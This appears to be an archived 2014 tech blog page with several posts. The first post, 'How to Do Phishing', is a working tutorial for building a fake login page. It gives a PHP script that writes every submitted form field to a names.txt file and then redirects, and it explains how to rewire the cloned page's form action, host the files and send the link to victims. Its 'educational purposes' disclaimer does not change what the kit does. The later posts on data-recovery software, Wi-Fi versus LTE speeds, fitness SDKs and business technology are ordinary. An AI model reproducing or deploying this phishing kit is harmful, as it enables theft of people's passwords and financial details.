Saturday, 16 August 2014

How to Do Phishing

 Phishing
Phishing simply means creating a fake page of a popular website or company and stealing personal information like username, password, credit card details, and account numbers etc. with the help of that page. Phishing is one of the simplest techniques used by the hacker to hack the account by stealing the login details. Catching a phishing is quite difficult because it has exactly same home page as the original website but yes the link or URL is different. So if you find any such web page displaying the content of the original website but having other abrupt link then you must report to the admin of the site.

Phishing is illegal to practice so please don’t do it. But yes everyone should know that how does it takes place so that they are never caught in the threats. So let us now learn that how phishing is done and how fake page is created but before we begin let me declare:

DISCLAIMER : I am not responsible for any harm caused by the user. The tutorial is purely and only for educational purposes. Please do not misuse this tutorial. 
 

So it’s a kind request from everyone that please don’t misuse it but try to learn it so that you are not affected by this at any instance. So let’s begin:

Firstly you need to have a hosting account. You can also create a free hosting account that is available on many websites, you can simply google it and create an account in any one of them.

Now what hackers do is that they first select the target website like gmail, facebook etc. Once selected, they create the fake page of that original website.

Creating a fake page is quite simple. Just go to any website say Gmail and then right click and select the option “view source code” and then copy all the code in the notepad and save it as target.html.
Now other step is to create a file named “code.php”. Simply open note pad and copy the following
code:

<?php
header ('Location: http://www.xyz.com');

$handle = fopen("names.txt", "a");

foreach($_POST as $variable => $value)
{
fwrite($handle, $variable);

fwrite($handle, "=");

fwrite($handle, $value);

fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");

fclose($handle);

exit;

?>

You can replace www.xyz.com with any website you want to direct user to.

Now after copying the following code save it as code.php and now it’s almost done.

Now go to the file target.html and open it because some editing has to be done. Now press ctrl+f and search for “action=” with login written in it. You will observe one link there so replace that link or URL with the file code.php that you have created initially. And now it’s almost done. Also create one file named names.txt where you will get the passwords of the infected user.

Now simply go your hosting account and upload the three files that are: target.html, code.php and name.txt. After they are successfully uploaded it’s ready. Now you will have a link to the fake page like: http://abcxyz.com/target.htm. You can select domain name according to your choice. Now the fake page is ready and now you can submit this link to your friend or anyone else. If he login to this fake page then you can check his username and password in the names.txt file as all the passwords will be stored here.

So this is all about hacking through phishing. But I request you all not to misuse it because it’s illegal and a big cyber-crime. So I hope you will never become the victim of such fake pages. Simply have a look at the link then log in or first reload the page then log in to the account. So in later posts we will also cover some interesting tricks like this so stay connected.

How to Recover Deleted Data From Computer

 Recover Deleted Data 

Computers are used everywhere.  Whether at a huge company like Google or at home, computers have taken over our world. Computers have reduced the effort of humans in its accuracy of numeric calculations that are of very large range and beyond our limits. Since computers are programmed to obtain accurate results, they are very important in today's world as we greatly depend on them from day to day.


Computers store large amounts of data, 1 Tb or more in some cases. This data includes photos, videos, songs, audio files, portable documents and other many files. We are all aware of the importance of this data in today's world especially when it comes to businesses and governments storing all its entries in computers. Huge databases are created and this data is really important to these businesses. Losing this data may cause losses of millions of dollars. So, it is very important to keep the data safe as well as utilize the services of  Secure Data Recovery if needed.
 
Unfortunately, accidents can take place any time. You may delete the data stored in the hard disk accidentally or you format the drive incorrectly and all your data is lost within seconds. You might think you have lost your data forever and can never get it back. However, there is nothing to worry about because we have one amazing data recovery program that will help you recover all of that deleted data. 
 
There are so many data recovery tools available online. This datarecovery software will allow you to get back your deleted or lost data back to your device. This amazing software will also help you to recover the data lost from: mobile phones, memory cards, pen drives, external hard drives, etc.

How does the software help to recover the data from computer?

Whenever the data or file is deleted from the computer it disappears physically but actually it remains in the system until it gets overwritten by some other file. Wise recovery software knows this concept and then scans for and finds all such lost files and recovers them back to the system.

What are the scenarios under which wise recovery will recover the data?

Data can be lost any time anywhere but you don’t need to worry anymore because this software will allow you to recover the data lost under following conditions:

  • Accidental deletion,
  • Accidental format,
  • Operating System failure,
  •  Abrupt shut down due to power failure,
  • Virus attack.
So under all the above conditions your data will be recovered successfully by wise recovery software.

What are the different file formats that can be recovered from wise recovery software?
 
Almost every file on the computer can be recovered by this software. The list is as follows:

  • Document files and portable files like: doc, docx,
    ppt, pptx,pdf, mdb, xsl, cvs,pst, Outlook files etc.
  • Audio or songs formats: MP3,WAV.
  • Photo or pictures or image formats like: BMP, PNG, GIF, JPG JPEG TIF etc.
  • RAW camera files: CRW, CR2, ARW, NEF, etc.
  • Video or other clips formats like: AVI, MPG, MOV, MPEG, ASF, MP4, 3GP, MTS, MTS, etc.
Many recovery software programs are tested by CNET users and many of them has been declared as the best data recovery software available. They have also been given 5 stars by almost every user. So if you have lost your important data and need to get it back, you should use wise data recovery software because it is the most trusted. In later posts we will also discuss data recovery for the Mac operating system so stay connected.

Friday, 15 August 2014

Wi-Fi Hotspot In The US Run Faster In Speed Than 4G!


While it might just seem like a commonly accepted fact that finally Wi-Fi would give faster speed then 4G, but in several other countries you get to view a different scenario. As per the reports of OpenSignal, U.S. LTE, speeds tend to be slow, but eventually trying to make improvement in this area.

As per the recent reports on U.S. WiFi Speeds by OpenSignal, there is an interesting nugget of information, which would be quite grasping news for many.

Network measurement firm revealed that the Wi-Fi speed which are available in hotels, retail stores, coffee shops, are relatively faster than the overall 4G network speed. Whereas, when a Smartphone user gets connect with a free Wi-Fi hotspot at around 8.77 Mbps, they tend to receive only 6.52 Mbps on a LTE platform and merely 4.31 Mbps on a HSPA+ link.

This was the recent information, which was available from OpenSignal’s data, which undergoes millions of tests through its effective crowd sourced network measurement app.

Well this might not come across as a big shock for many of you. One of the main reasons why people generally switch over from LTE to Wi-Fi is because it gives more bandwidth. However, this area is exception in the US, which has developed a well-built 4G infrastructure. Places like Australia, Sweden, the U.K., Japan and Korea, have LTE connections outpacing the public Wi-Fi networks. Carries such as Everything Everywhere of the UK have reported that there is a gradual decline in the area of Wi-Fi usage from their customer’s device.

However, why such a discrepancy? Well, it has to do a lot due to the way in which the US has made arrangements in its 4G section. It was amongst one of the very first countries to move ahead with large-scale LTE network, however, all of these networks were originally built on small fragment of spectrum. While the US carriers in the area of their download channel utilized 5 MHz or 10 MHz of spectrum, European carries had around 20 MHz East Asian and Australian carriers already using LTE Advanced carrier aggregation methods to pile up huge amount of spectrum in their respective networks.

There is one more reason also. The US comes with an excessively high LTE penetration level. Near about half of the entire LTE global connections towards the end of 2013 was there on the US networks as reported by the GSMA. This literally means that our network is gradually getting crowded with greater amount of people competing for the same level of capacity. You can coalesce this demand with even smaller size of our pipes and you will get a clear picture as in why the U.S. come almost at the end as per the reports made by the global LTE speed rankings.

However, there has been quite a number of new network construction works that has been seen in the U.S. this very year. Verizon has lately constructed a fresh LTE network in several of the major cities at new frequencies. It claims at providing twice the speed in several areas than what it previously generated. In addition, AT&T is following the same track and has utilized carrier aggregation to join in networks together. In around every 6 months time span, T-Mobile is increasing twice its capacity of its current network.

Thursday, 14 August 2014

Stay fit with the Google vs. Apple rivalry

Stay fit
Rivalry – a word often associated with duels, fights and has no remote connection to “staying fit”; in this case however could make you more fit. As wide spread urbanization is evident with increasing job schedules and busy timelines, our body is becoming lethargic and prone to diseases never seen before. Thus, there is a spurt of general awareness about keeping oneself fit and running.

Technology in inherent in modern life and exists in every sphere – fitness is no exception. Thus, the demands for fitness gadgets and such apps on smartphones are on the rise. The fact that Google and Apple are the two titans of the smartphone race along with forays in other gadgets, it is no surprise that both are up with corresponding tools to help developers and customers in this fitness race.

Google Fit vs. Apple Health Kit

Apple’s health kit is basically a SDK (Software Development Kit) which is already available to the developers on iOS8. Along with a dedicated dashboard to track your fitness data, the SDK comes with access to the health data for developers as well as user permissions. Thus, your fitness data could be handed over to a fitness app that relays it back to your doctor for a real-time monitoring of your conditions. Google’s Fit is basically the same package just built for Android and integrated with Google’s services. The SDK for developers is available by a developer preview version of Google’s upcoming Android L this fall.

Taking Sides

As with choices, people are bound to take sides. While Android leads in market share worldwide, Apple reaps in the most profits – which tells you a lot about customer behavior in respective platforms. Thus choosing one over other will boil down to the fact that which one you prefer or which eco-system you are tied onto. Further, both have lines up numerous companies to support these SDK and develop augmenting hardware and software. While Apple has paired up with many clinics to analyze and send personal recommendations to your information collected, Google has partnered with Hardware manufacturing units (as it is primarily a software vendor), which form the likes of Motorola, Asus, Adidas, Intel, Nike, Runtastic and RunKeeper.

The Future of Staying Fit

As we embrace technology more, it creates wonderful opportunity to help with your daily lives. With improving medical diagnostics, electronic device miniaturization and improved sensors, tracking your blood glucose levels or your pulse rate is becoming ever easy. This is probably a start in perhaps a long run of more sophisticated and advanced fitness regime coupled with equally advanced hardware and software to help you in those. Thus your gadget – smartphone/tablet/ultra-book might be your savior one day.

The future looks bright for technology augmented fitness gadgets. Moreover,Apple and Google both realize this and have promptly released their Health-based SDKs to developers and will soon release features for consumers on their various OS/devices. With an ever-increasing demand in fitness gadgets and more adoption of such technology, the future is surely spicing up as the giants lock horns to bring new tools enabling developers tap the potential.

Using Technology to Improve Business Functions

The way businesses operate these days is a lot different to how things used to be. At one time there was no email, software or even computers. Businesses had a real struggle to reach out to new customers and provide a high quality service. Nowadays however, technology has exploded into practically every aspect of the business world. There’s software for everything these days including situational awareness software and it can really help to improve your business functions.

More marketing opportunities than ever before

Companies rely heavily upon marketing to draw in new customers and build up their brand. If you’re looking to reach a larger audience, the internet can help. From social media to mobile marketing; there are hundreds of ways you can get your business name out there. Not only allowing you to benefit from free advertising, social media helps with customer interaction too. Being able to interact with your customers helps to build trust; especially if you use it to answer any questions or complaints your customers may have.

Reducing employee workload 

One of the main benefits technology has had for businesses is the fact it’s lightened the load for employees. All sectors within a business can benefit from a variety of software that helps to improve efficiency. Situational awareness software is a good example. Helping to improve the security of your company, this software can be an essential investment. You can even cut costs by having your security cameras, devices and sensors converged. HR software is also available, helping out with payroll and document management.

You can find out more about how technology can help to cut costs in the free white paper produced by the MakingITClear blog.

Boosting productivity

If you’re looking to make your workplace a more productive one, technology is there to help. The right software can free up time that can be spent on other parts of the business. Helping your employees to achieve more in their working day can only benefit your business. Whether it is helping them to print out marketing materials or keeping in touch with customers via email; providing up to date software can really help to boost productivity in every sector of your business.

Improving staff morale

For employees, one of the biggest advantages technology has brought to the workplace is flexible hours. Employers are now able to offer their staff more flexibility. Free video tools such as Skype have made it possible for employees to keep in touch with the office no matter where they are. Many are able to work from home and fit their work around their family’s needs. This has really helped to boost morale in the workplace and has in turn helped to boost productivity. You can find out more about the telecommuting benefits that technology has delivered on the Small Business website.

Overall there are many ways technology can help to improve your business functions. As advancements are continually made, businesses can expect to see further improvements as time goes on. Investing in the right software is the first step to improving your company.